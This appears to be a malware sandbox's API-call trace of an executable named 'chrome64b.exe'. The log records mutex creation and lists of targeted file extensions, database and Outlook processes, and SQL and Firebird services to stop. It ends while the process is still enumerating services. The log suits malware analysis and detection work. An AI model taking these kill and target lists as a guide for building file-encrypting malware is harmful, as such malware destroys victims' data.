# Flog Txt Version 1 # Analyzer Version: 3.0.1 # Analyzer Build Date: Apr 4 2019 09:37:16 # Log Creation Date: 05.04.2019 11:10:25.338 Process: id = "1" image_name = "chrome64b.exe" filename = "c:\\users\\fd1hvy\\desktop\\chrome64b.exe" page_root = "0x5dbe7000" os_pid = "0x7ec" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\FD1HVy\\Desktop\\chrome64b.exe\" " cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0xfcc [0143.492] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75e90000 [0143.492] GetProcAddress (hModule=0x75e90000, lpProcName="GetProcAddress") returned 0x75ea51b0 [0143.492] GetProcAddress (hModule=0x75e90000, lpProcName="GetModuleHandleW") returned 0x75ea50d0 [0143.493] GetProcAddress (hModule=0x75e90000, lpProcName="FindNextFileW") returned 0x75efee40 [0143.493] GetProcAddress (hModule=0x75e90000, lpProcName="FindClose") returned 0x75efed70 [0143.493] GetProcAddress (hModule=0x75e90000, lpProcName="MoveFileW") returned 0x75ede500 [0143.493] GetProcAddress (hModule=0x75e90000, lpProcName="GetFileSizeEx") returned 0x75efef40 [0143.493] GetProcAddress (hModule=0x75e90000, lpProcName="GetModuleFileNameW") returned 0x75ea5090 [0143.493] GetProcAddress (hModule=0x75e90000, lpProcName="GetFileAttributesW") returned 0x75efef10 [0143.493] GetProcAddress (hModule=0x75e90000, lpProcName="ExitProcess") returned 0x75ea3cb0 [0143.493] GetProcAddress (hModule=0x75e90000, lpProcName="GetCommandLineW") returned 0x75ea4cc0 [0143.493] GetProcAddress (hModule=0x75e90000, lpProcName="GetComputerNameW") returned 0x75ed32c0 [0143.493] GetProcAddress (hModule=0x75e90000, lpProcName="GetComputerNameA") returned 0x75ed3780 [0143.493] GetProcAddress (hModule=0x75e90000, lpProcName="CreateMutexW") returned 0x75efeb70 [0143.493] GetProcAddress (hModule=0x75e90000, lpProcName="lstrlenW") returned 0x75ea6c70 [0143.493] GetProcAddress (hModule=0x75e90000, lpProcName="lstrlenA") returned 0x75ea6c50 [0143.493] GetProcAddress (hModule=0x75e90000, lpProcName="GetCurrentProcess") returned 0x75efea10 [0143.493] GetProcAddress (hModule=0x75e90000, lpProcName="WaitForSingleObject") returned 0x75efeca0 [0143.493] GetProcAddress (hModule=0x75e90000, lpProcName="GetLogicalDrives") returned 0x75ea0d20 [0143.493] GetProcAddress (hModule=0x75e90000, lpProcName="GetTickCount") returned 0x75efdd50 [0143.493] GetProcAddress (hModule=0x75e90000, lpProcName="DeleteFileW") returned 0x75efed40 [0143.493] GetProcAddress (hModule=0x75e90000, lpProcName="WideCharToMultiByte") returned 0x75ea6b10 [0143.493] GetProcAddress (hModule=0x75e90000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x75efebb0 [0143.493] GetProcAddress (hModule=0x75e90000, lpProcName="Sleep") returned 0x75ea6760 [0143.493] GetProcAddress (hModule=0x75e90000, lpProcName="LeaveCriticalSection") returned 0x77bfb250 [0143.493] GetProcAddress (hModule=0x75e90000, lpProcName="ReadFile") returned 0x75eff090 [0143.494] GetProcAddress (hModule=0x75e90000, lpProcName="CreateFileW") returned 0x75efed10 [0143.494] GetProcAddress (hModule=0x75e90000, lpProcName="OpenMutexW") returned 0x75efebf0 [0143.494] GetProcAddress (hModule=0x75e90000, lpProcName="EnterCriticalSection") returned 0x77bfb2d0 [0143.494] GetProcAddress (hModule=0x75e90000, lpProcName="WaitForMultipleObjects") returned 0x75efec80 [0143.494] GetProcAddress (hModule=0x75e90000, lpProcName="lstrcmpiW") returned 0x75ea6bf0 [0143.494] GetProcAddress (hModule=0x75e90000, lpProcName="lstrcmpiA") returned 0x75ea6bd0 [0143.494] GetProcAddress (hModule=0x75e90000, lpProcName="DeleteCriticalSection") returned 0x77bdfb90 [0143.494] GetProcAddress (hModule=0x75e90000, lpProcName="ReleaseMutex") returned 0x75efec20 [0143.494] GetProcAddress (hModule=0x75e90000, lpProcName="CloseHandle") returned 0x75efeab0 [0143.494] GetProcAddress (hModule=0x75e90000, lpProcName="GetVersion") returned 0x75ea56c0 [0143.494] GetProcAddress (hModule=0x75e90000, lpProcName="CreateThread") returned 0x75ea46b0 [0143.494] GetProcAddress (hModule=0x75e90000, lpProcName="ExpandEnvironmentStringsW") returned 0x75ea4a40 [0143.494] GetProcAddress (hModule=0x75e90000, lpProcName="QueryPerformanceCounter") returned 0x75ea5da0 [0143.494] GetProcAddress (hModule=0x75e90000, lpProcName="QueryPerformanceFrequency") returned 0x75ea5dc0 [0143.494] GetProcAddress (hModule=0x75e90000, lpProcName="GetCurrentProcessId") returned 0x75efea20 [0143.494] GetProcAddress (hModule=0x75e90000, lpProcName="SetFileAttributesW") returned 0x75eff100 [0143.494] GetProcAddress (hModule=0x75e90000, lpProcName="GetVolumeInformationW") returned 0x75eff020 [0143.494] GetProcAddress (hModule=0x75e90000, lpProcName="WriteFile") returned 0x75eff180 [0143.494] GetProcAddress (hModule=0x75e90000, lpProcName="SetFilePointerEx") returned 0x75eff130 [0143.494] GetProcAddress (hModule=0x75e90000, lpProcName="SetEndOfFile") returned 0x75eff0e0 [0143.494] GetProcAddress (hModule=0x75e90000, lpProcName="FindFirstFileW") returned 0x75efedf0 [0143.494] GetProcAddress (hModule=0x75e90000, lpProcName="GetProcessHeap") returned 0x75ea51f0 [0143.494] GetProcAddress (hModule=0x75e90000, lpProcName="HeapReAlloc") returned 0x77bef630 [0143.495] GetProcAddress (hModule=0x75e90000, lpProcName="HeapAlloc") returned 0x77bf2dc0 [0143.495] GetProcAddress (hModule=0x75e90000, lpProcName="HeapFree") returned 0x75ea57f0 [0143.495] GetProcAddress (hModule=0x75e90000, lpProcName="CreatePipe") returned 0x75ea4590 [0143.495] GetProcAddress (hModule=0x75e90000, lpProcName="SetHandleInformation") returned 0x75efeae0 [0143.495] GetProcAddress (hModule=0x75e90000, lpProcName="CreateProcessW") returned 0x75ea4610 [0143.495] GetProcAddress (hModule=0x75e90000, lpProcName="CompareStringW") returned 0x75ea4430 [0143.495] GetProcAddress (hModule=0x75e90000, lpProcName="CompareStringA") returned 0x75ea4410 [0143.495] GetProcAddress (hModule=0x75e90000, lpProcName="OpenProcess") returned 0x75ea5cc0 [0143.495] GetProcAddress (hModule=0x75e90000, lpProcName="TerminateProcess") returned 0x75ea67e0 [0143.495] GetProcAddress (hModule=0x75e90000, lpProcName="GetSystemTime") returned 0x75ea54e0 [0143.495] GetProcAddress (hModule=0x75e90000, lpProcName="SystemTimeToFileTime") returned 0x75ea67a0 [0143.495] GetProcAddress (hModule=0x75e90000, lpProcName="GetLastError") returned 0x75ea5010 [0143.495] GetProcAddress (hModule=0x75e90000, lpProcName="CreateToolhelp32Snapshot") returned 0x75ededc0 [0143.495] GetProcAddress (hModule=0x75e90000, lpProcName="Process32NextW") returned 0x75edf8f0 [0143.495] GetProcAddress (hModule=0x75e90000, lpProcName="Process32FirstW") returned 0x75edf750 [0143.495] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x761b0000 [0145.191] GetProcAddress (hModule=0x761b0000, lpProcName="RegOpenKeyExW") returned 0x761ce580 [0145.191] GetProcAddress (hModule=0x761b0000, lpProcName="RegQueryValueExW") returned 0x761ce5a0 [0145.191] GetProcAddress (hModule=0x761b0000, lpProcName="RegSetValueExW") returned 0x761cf530 [0145.191] GetProcAddress (hModule=0x761b0000, lpProcName="RegCloseKey") returned 0x761ced60 [0145.191] GetProcAddress (hModule=0x761b0000, lpProcName="OpenProcessToken") returned 0x761cefb0 [0145.191] GetProcAddress (hModule=0x761b0000, lpProcName="GetTokenInformation") returned 0x761cee90 [0145.191] GetProcAddress (hModule=0x761b0000, lpProcName="OpenSCManagerW") returned 0x761d0540 [0145.191] GetProcAddress (hModule=0x761b0000, lpProcName="OpenServiceW") returned 0x761cfa20 [0145.191] GetProcAddress (hModule=0x761b0000, lpProcName="CloseServiceHandle") returned 0x761cfc00 [0145.191] GetProcAddress (hModule=0x761b0000, lpProcName="ControlService") returned 0x761e26d0 [0145.191] GetProcAddress (hModule=0x761b0000, lpProcName="QueryServiceStatus") returned 0x761d2380 [0145.191] GetProcAddress (hModule=0x761b0000, lpProcName="EnumDependentServicesW") returned 0x761e2f70 [0145.191] GetProcAddress (hModule=0x761b0000, lpProcName="EnumServicesStatusExW") returned 0x761cfc80 [0145.191] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74b70000 [0147.601] GetProcAddress (hModule=0x74b70000, lpProcName="SystemParametersInfoW") returned 0x74b9f210 [0147.601] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x76480000 [0152.225] GetProcAddress (hModule=0x76480000, lpProcName="ShellExecuteExW") returned 0x765e4730 [0152.225] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77bb0000 [0152.226] GetProcAddress (hModule=0x77bb0000, lpProcName="NtQuerySystemInformation") returned 0x77c22070 [0152.226] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x73170000 [0152.359] GetProcAddress (hModule=0x73170000, lpProcName="WNetCloseEnum") returned 0x73172640 [0152.359] GetProcAddress (hModule=0x73170000, lpProcName="WNetOpenEnumW") returned 0x73172790 [0152.359] GetProcAddress (hModule=0x73170000, lpProcName="WNetEnumResourceW") returned 0x73172410 [0152.359] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x746a0000 [0152.577] GetProcAddress (hModule=0x746a0000, lpProcName="WSAStartup") returned 0x746a5b40 [0152.577] GetProcAddress (hModule=0x746a0000, lpProcName="socket") returned 0x746b4510 [0152.577] GetProcAddress (hModule=0x746a0000, lpProcName="send") returned 0x746a5030 [0152.577] GetProcAddress (hModule=0x746a0000, lpProcName="recv") returned 0x746b0c50 [0152.578] GetProcAddress (hModule=0x746a0000, lpProcName="connect") returned 0x746a5410 [0152.578] GetProcAddress (hModule=0x746a0000, lpProcName="closesocket") returned 0x746b0910 [0152.578] GetProcAddress (hModule=0x746a0000, lpProcName="gethostbyname") returned 0x746d6cb0 [0152.578] GetProcAddress (hModule=0x746a0000, lpProcName="inet_addr") returned 0x746b9160 [0152.578] GetProcAddress (hModule=0x746a0000, lpProcName="ntohl") returned 0x746a49d0 [0152.578] GetProcAddress (hModule=0x746a0000, lpProcName="htonl") returned 0x746a49d0 [0152.578] GetProcAddress (hModule=0x746a0000, lpProcName="htons") returned 0x746b8ff0 [0152.578] GetProcessHeap () returned 0x790000 [0152.578] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x20) returned 0x79ae40 [0152.578] QueryPerformanceCounter (in: lpPerformanceCount=0x19fdb0 | out: lpPerformanceCount=0x19fdb0*=13719512552) returned 1 [0152.578] GetTickCount () returned 0x217c4 [0152.578] GetCurrentProcessId () returned 0x7ec [0152.579] GetTickCount () returned 0x217c4 [0152.579] GetTickCount () returned 0x217c4 [0152.579] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x20) returned 0x79ae68 [0152.579] GetVersion () returned 0x23f00206 [0152.579] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x7) returned 0x7a70a8 [0152.579] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7a7628 [0152.579] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7a7628, Size=0x20) returned 0x79aeb8 [0152.579] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x79aeb8, Size=0x40) returned 0x7ac858 [0152.580] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x7ae7b8 [0152.580] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_987AS6A") returned 0x0 [0152.580] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_987AS6A") returned 0x1ec [0152.580] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7a70a8 | out: hHeap=0x790000) returned 1 [0152.580] lstrlenW (lpString="Global\\syncronize_") returned 18 [0152.580] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7ac858 | out: hHeap=0x790000) returned 1 [0152.580] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x7) returned 0x7a6f98 [0152.580] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7a7550 [0152.580] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7a7550, Size=0x20) returned 0x79aeb8 [0152.580] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x79aeb8, Size=0x40) returned 0x7ac8a0 [0152.580] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x7be7c0 [0152.580] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_987AS6U") returned 0x0 [0152.581] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_987AS6U") returned 0x1f0 [0152.581] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7a6f98 | out: hHeap=0x790000) returned 1 [0152.581] lstrlenW (lpString="Global\\syncronize_") returned 18 [0152.581] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7ac8a0 | out: hHeap=0x790000) returned 1 [0152.581] GetVersion () returned 0x23f00206 [0152.581] GetCurrentProcess () returned 0xffffffff [0152.581] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19fd9c | out: TokenHandle=0x19fd9c*=0x1f4) returned 1 [0152.581] GetTokenInformation (in: TokenHandle=0x1f4, TokenInformationClass=0x14, TokenInformation=0x19fd98, TokenInformationLength=0x4, ReturnLength=0x19fda4 | out: TokenInformation=0x19fd98, ReturnLength=0x19fda4) returned 1 [0152.581] CloseHandle (hObject=0x1f4) returned 1 [0152.581] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x0 [0152.581] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x3e8) returned 0x0 [0152.581] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x14) returned 0x7a5550 [0152.581] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7a7730 [0152.581] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7a7730, Size=0x20) returned 0x79aeb8 [0152.581] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x79aeb8, Size=0x40) returned 0x7ac3d8 [0152.581] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ac3d8, Size=0x80) returned 0x7a2358 [0152.581] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7a2358, Size=0x100) returned 0x7a73a8 [0152.581] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x34) returned 0x7a9730 [0152.581] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x4) returned 0x7a6fd8 [0152.581] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x4) returned 0x7a7008 [0152.581] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7a6f18 [0152.581] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7a76a0 [0152.581] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x4) returned 0x7a6f98 [0152.581] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7a7550 [0152.581] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7a6f98, Size=0x8) returned 0x7a6f48 [0152.581] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7a7670 [0152.581] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7a6f48, Size=0x10) returned 0x7a7700 [0152.581] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7a7730 [0152.581] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7a7628 [0152.581] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7a7700, Size=0x20) returned 0x79aeb8 [0152.581] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7a7748 [0152.581] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7a7520 [0152.581] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7a6fd8, Size=0x8) returned 0x7a70a8 [0152.581] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7a7008, Size=0x8) returned 0x7a6fd8 [0152.582] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7a7048 [0152.582] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7a7568 [0152.582] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x4) returned 0x7a70b8 [0152.582] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7a75e0 [0152.582] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7a70b8, Size=0x8) returned 0x7a7008 [0152.582] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7a76e8 [0152.582] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7a7008, Size=0x10) returned 0x7a76b8 [0152.582] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7a7778 [0152.582] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7a70b8 [0152.582] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7a76b8, Size=0x20) returned 0x7cee38 [0152.582] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7a70a8, Size=0x10) returned 0x7a7700 [0152.582] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7a6fd8, Size=0x10) returned 0x7a76d0 [0152.582] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7a70a8 [0152.582] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7a7790 [0152.582] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x4) returned 0x7a6f58 [0152.582] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7a76b8 [0152.582] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7a6f58, Size=0x8) returned 0x7a6f48 [0152.582] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7a6f58 [0152.582] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7a7640 [0152.582] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x4) returned 0x7a6f68 [0152.582] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7a77a8 [0152.582] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7a6f68, Size=0x8) returned 0x7a6f98 [0152.582] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7a7700, Size=0x20) returned 0x7cef28 [0152.582] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7a76d0, Size=0x20) returned 0x7cef50 [0152.582] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7a7008 [0152.582] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7a76d0 [0152.582] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x4) returned 0x7a6fd8 [0152.582] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7a7538 [0152.582] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7a6fd8, Size=0x8) returned 0x7a6f68 [0152.582] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x14) returned 0x7a5750 [0152.582] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x14) returned 0x7a5770 [0152.582] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0152.582] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7a73a8 | out: hHeap=0x790000) returned 1 [0152.582] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x19fde8 | out: lpWSAData=0x19fde8) returned 0 [0152.586] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7a7700 [0152.586] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7a7700, Size=0x20) returned 0x7ced48 [0152.586] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ced48, Size=0x40) returned 0x7ac738 [0152.586] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ac738, Size=0x80) returned 0x7a7db8 [0152.586] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7a7db8, Size=0x100) returned 0x7a73a8 [0152.586] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7a7700 [0152.586] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7a7700, Size=0x20) returned 0x7cecf8 [0152.586] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7cecf8, Size=0x40) returned 0x7ac588 [0152.586] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ac588, Size=0x80) returned 0x7d44e8 [0152.586] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d44e8, Size=0x100) returned 0x7d5088 [0152.586] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7a7700 [0152.586] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x4) returned 0x7d3258 [0152.586] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7d5478 [0152.586] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d3258, Size=0x8) returned 0x7d3368 [0152.586] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x14) returned 0x7a5710 [0152.586] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d3368, Size=0x10) returned 0x7d5268 [0152.586] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x18) returned 0x7a5570 [0152.587] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1a) returned 0x7cee60 [0152.587] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d5268, Size=0x20) returned 0x7cef00 [0152.587] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1c) returned 0x7cecf8 [0152.587] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x16) returned 0x7a56b0 [0152.587] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1a) returned 0x7ceeb0 [0152.587] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7d52e0 [0152.587] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x4) returned 0x7d33b8 [0152.587] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40) returned 0x7ac4b0 [0152.587] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d33b8, Size=0x8) returned 0x7d3398 [0152.587] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3c) returned 0x7ac4f8 [0152.587] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d3398, Size=0x10) returned 0x7d51d8 [0152.587] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x14) returned 0x7a5790 [0152.587] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x18) returned 0x7a57b0 [0152.587] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d51d8, Size=0x20) returned 0x7cee88 [0152.587] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x24) returned 0x7a6028 [0152.587] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0152.587] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7a73a8 | out: hHeap=0x790000) returned 1 [0152.587] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0152.587] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7d5088 | out: hHeap=0x790000) returned 1 [0152.587] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ceed8 [0152.590] EnumServicesStatusExW (in: hSCManager=0x7ceed8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 0 [0152.591] GetLastError () returned 0xea [0152.591] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1f3c) returned 0x7d7780 [0152.591] EnumServicesStatusExW (in: hSCManager=0x7ceed8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x7d7780, cbBufSize=0x1f3c, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x7d7780, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 1 [0152.592] CloseServiceHandle (hSCObject=0x7ceed8) returned 1 [0152.592] lstrlenW (lpString="Appinfo") returned 7 [0152.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0152.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0152.595] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0152.595] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0152.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0152.595] lstrlenW (lpString="AppXSvc") returned 7 [0152.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0152.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0152.595] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0152.595] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0152.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0152.595] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0152.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0152.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0152.595] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0152.595] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0152.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0152.595] lstrlenW (lpString="Audiosrv") returned 8 [0152.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0152.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0152.595] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0152.595] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0152.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0152.595] lstrlenW (lpString="BFE") returned 3 [0152.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0152.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0152.595] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0152.595] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0152.595] lstrcmpiW (lpString1="sqlserveradhelper", 